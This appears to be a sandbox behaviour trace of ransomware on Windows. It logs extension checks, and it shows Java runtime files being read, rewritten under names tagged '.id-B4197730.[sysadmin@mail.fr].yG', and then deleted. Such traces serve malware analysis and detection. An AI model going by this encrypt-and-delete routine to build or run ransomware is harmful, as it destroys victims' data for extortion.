	[0143.903] lstrlenW (lpString=".ppt") returned 4
	[0143.903] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0143.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.903] lstrlenW (lpString=".zip") returned 4
	[0143.904] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0143.904] lstrlenW (lpString=".rar") returned 4
	[0143.904] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0143.904] lstrlenW (lpString=".bz2") returned 4
	[0143.904] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0143.904] lstrlenW (lpString=".7z") returned 3
	[0143.904] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0143.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.904] lstrlenW (lpString=".dbf") returned 4
	[0143.904] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0143.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.904] lstrlenW (lpString=".1cd") returned 4
	[0143.904] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0143.904] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.904] lstrlenW (lpString=".jpg") returned 4
	[0143.904] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0143.904] lstrcmpiW (lpString1=".bfc", lpString2=".yG") returned -1
	[0143.904] lstrlenW (lpString="fontconfig.bfc") returned 14
	[0143.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4
	[0144.046] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=3770) returned 1
	[0144.046] CloseHandle (hObject=0x4f4) returned 1
	[0144.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20
	[0144.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.326] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.326] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0144.430] GetLastError () returned 0x0
	[0144.430] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xeba, lpOverlapped=0x0) returned 1
	[0144.439] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xec0, lpOverlapped=0x0) returned 1
	[0144.440] ReadFile (in: hFile=0x4d8, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.440] WriteFile (in: hFile=0x52c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xf0, lpOverlapped=0x0) returned 1
	[0144.440] SetEndOfFile (hFile=0x52c) returned 1
	[0144.448] CloseHandle (hObject=0x52c) returned 1
	[0144.448] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.448] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.451] CloseHandle (hObject=0x4d8) returned 1
	[0144.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0144.452] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1
	[0144.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.452] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.453] lstrlenW (lpString=".doc") returned 4
	[0144.453] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString=".docx") returned 5
	[0144.453] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0144.453] lstrlenW (lpString=".pdf") returned 4
	[0144.453] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString=".xls") returned 4
	[0144.453] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString=".xlsx") returned 5
	[0144.453] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0144.453] lstrlenW (lpString=".ppt") returned 4
	[0144.453] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.453] lstrlenW (lpString=".zip") returned 4
	[0144.453] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString=".rar") returned 4
	[0144.453] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString=".bz2") returned 4
	[0144.453] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString=".7z") returned 3
	[0144.453] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0144.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.453] lstrlenW (lpString=".dbf") returned 4
	[0144.453] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0144.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.453] lstrlenW (lpString=".1cd") returned 4
	[0144.453] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0144.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.456] lstrlenW (lpString=".jpg") returned 4
	[0144.456] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0144.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.456] lstrlenW (lpString=".doc") returned 4
	[0144.456] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1
	[0144.456] lstrlenW (lpString=".docx") returned 5
	[0144.456] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1
	[0144.456] lstrlenW (lpString=".pdf") returned 4
	[0144.457] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1
	[0144.457] lstrlenW (lpString=".xls") returned 4
	[0144.457] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1
	[0144.457] lstrlenW (lpString=".xlsx") returned 5
	[0144.457] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1
	[0144.457] lstrlenW (lpString=".ppt") returned 4
	[0144.457] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1
	[0144.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.457] lstrlenW (lpString=".zip") returned 4
	[0144.457] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1
	[0144.457] lstrlenW (lpString=".rar") returned 4
	[0144.457] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1
	[0144.457] lstrlenW (lpString=".bz2") returned 4
	[0144.457] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1
	[0144.457] lstrlenW (lpString=".7z") returned 3
	[0144.457] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1
	[0144.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.457] lstrlenW (lpString=".dbf") returned 4
	[0144.457] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1
	[0144.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.457] lstrlenW (lpString=".1cd") returned 4
	[0144.457] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1
	[0144.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53
	[0144.457] lstrlenW (lpString=".jpg") returned 4
	[0144.457] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1
	[0144.458] lstrcmpiW (lpString1=".ttf", lpString2=".yG") returned -1
	[0144.458] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26
	[0144.458] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0145.703] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=75124) returned 1
	[0145.703] CloseHandle (hObject=0x538) returned 1
	[0145.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20
	[0145.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0145.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0145.836] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.836] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0145.836] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0145.837] GetLastError () returned 0x0
	[0145.837] ReadFile (in: hFile=0x520, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x12574, lpOverlapped=0x0) returned 1
	[0146.245] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x12580, lpOverlapped=0x0) returned 1
	[0146.247] ReadFile (in: hFile=0x520, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.247] WriteFile (in: hFile=0x538, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x108, lpOverlapped=0x0) returned 1
	[0146.248] SetEndOfFile (hFile=0x538) returned 1
	[0146.248] CloseHandle (hObject=0x538) returned 1
	[0146.248] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.248] SetEndOfFile (hFile=0x520) returned 1
	[0146.413] CloseHandle (hObject=0x520) returned 1
	[0146.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.413] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1
	[0146.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.414] lstrlenW (lpString=".doc") returned 4
	[0146.414] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0146.414] lstrlenW (lpString=".docx") returned 5
	[0146.414] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0146.414] lstrlenW (lpString=".pdf") returned 4
	[0146.414] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0146.414] lstrlenW (lpString=".xls") returned 4
	[0146.414] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0146.414] lstrlenW (lpString=".xlsx") returned 5
	[0146.414] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0146.414] lstrlenW (lpString=".ppt") returned 4
	[0146.414] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0146.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.414] lstrlenW (lpString=".zip") returned 4
	[0146.414] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0146.414] lstrlenW (lpString=".rar") returned 4
	[0146.415] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0146.415] lstrlenW (lpString=".bz2") returned 4
	[0146.415] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0146.415] lstrlenW (lpString=".7z") returned 3
	[0146.415] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0146.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.415] lstrlenW (lpString=".dbf") returned 4
	[0146.415] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0146.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.415] lstrlenW (lpString=".1cd") returned 4
	[0146.415] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0146.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.415] lstrlenW (lpString=".jpg") returned 4
	[0146.415] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0146.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.415] lstrlenW (lpString=".doc") returned 4
	[0146.415] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0146.415] lstrlenW (lpString=".docx") returned 5
	[0146.415] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0146.415] lstrlenW (lpString=".pdf") returned 4
	[0146.415] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0146.415] lstrlenW (lpString=".xls") returned 4
	[0146.415] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0146.415] lstrlenW (lpString=".xlsx") returned 5
	[0146.415] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0146.416] lstrlenW (lpString=".ppt") returned 4
	[0146.416] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0146.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.416] lstrlenW (lpString=".zip") returned 4
	[0146.416] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0146.416] lstrlenW (lpString=".rar") returned 4
	[0146.416] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0146.416] lstrlenW (lpString=".bz2") returned 4
	[0146.416] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0146.416] lstrlenW (lpString=".7z") returned 3
	[0146.416] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0146.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.416] lstrlenW (lpString=".dbf") returned 4
	[0146.416] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0146.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.416] lstrlenW (lpString=".1cd") returned 4
	[0146.416] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0146.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0146.416] lstrlenW (lpString=".jpg") returned 4
	[0146.416] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0146.416] lstrcmpiW (lpString1=".jfc", lpString2=".yG") returned -1
	[0146.416] lstrlenW (lpString="profile.jfc") returned 11
	[0146.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0146.442] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=20065) returned 1
	[0146.442] CloseHandle (hObject=0x54c) returned 1
	[0146.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20
	[0146.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0146.443] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0146.443] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.443] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.443] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0146.444] GetLastError () returned 0x0
	[0146.444] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x4e61, lpOverlapped=0x0) returned 1
	[0146.455] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x4e70, lpOverlapped=0x0) returned 1
	[0146.456] ReadFile (in: hFile=0x54c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0146.456] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xea, lpOverlapped=0x0) returned 1
	[0146.456] SetEndOfFile (hFile=0x530) returned 1
	[0146.456] CloseHandle (hObject=0x530) returned 1
	[0146.457] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0146.457] SetEndOfFile (hFile=0x54c) returned 1
	[0146.476] CloseHandle (hObject=0x54c) returned 1
	[0146.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0146.476] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1
	[0146.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.477] lstrlenW (lpString=".doc") returned 4
	[0146.477] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0146.477] lstrlenW (lpString=".docx") returned 5
	[0146.477] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0146.477] lstrlenW (lpString=".pdf") returned 4
	[0146.477] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0146.477] lstrlenW (lpString=".xls") returned 4
	[0146.477] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0146.477] lstrlenW (lpString=".xlsx") returned 5
	[0146.477] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0146.477] lstrlenW (lpString=".ppt") returned 4
	[0146.477] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0146.477] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.477] lstrlenW (lpString=".zip") returned 4
	[0146.478] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0146.478] lstrlenW (lpString=".rar") returned 4
	[0146.478] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0146.478] lstrlenW (lpString=".bz2") returned 4
	[0146.478] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0146.478] lstrlenW (lpString=".7z") returned 3
	[0146.478] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0146.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.478] lstrlenW (lpString=".dbf") returned 4
	[0146.478] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0146.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.478] lstrlenW (lpString=".1cd") returned 4
	[0146.478] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0146.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.478] lstrlenW (lpString=".jpg") returned 4
	[0146.478] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0146.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.478] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0146.478] lstrlenW (lpString=".doc") returned 4
	[0146.478] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0146.478] lstrlenW (lpString=".docx") returned 5
	[0146.478] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0146.478] lstrlenW (lpString=".pdf") returned 4
	[0146.478] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0146.478] lstrlenW (lpString=".xls") returned 4
	[0146.478] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0146.478] lstrlenW (lpString=".xlsx") returned 5
	[0146.478] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0146.479] lstrlenW (lpString=".ppt") returned 4
	[0146.479] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
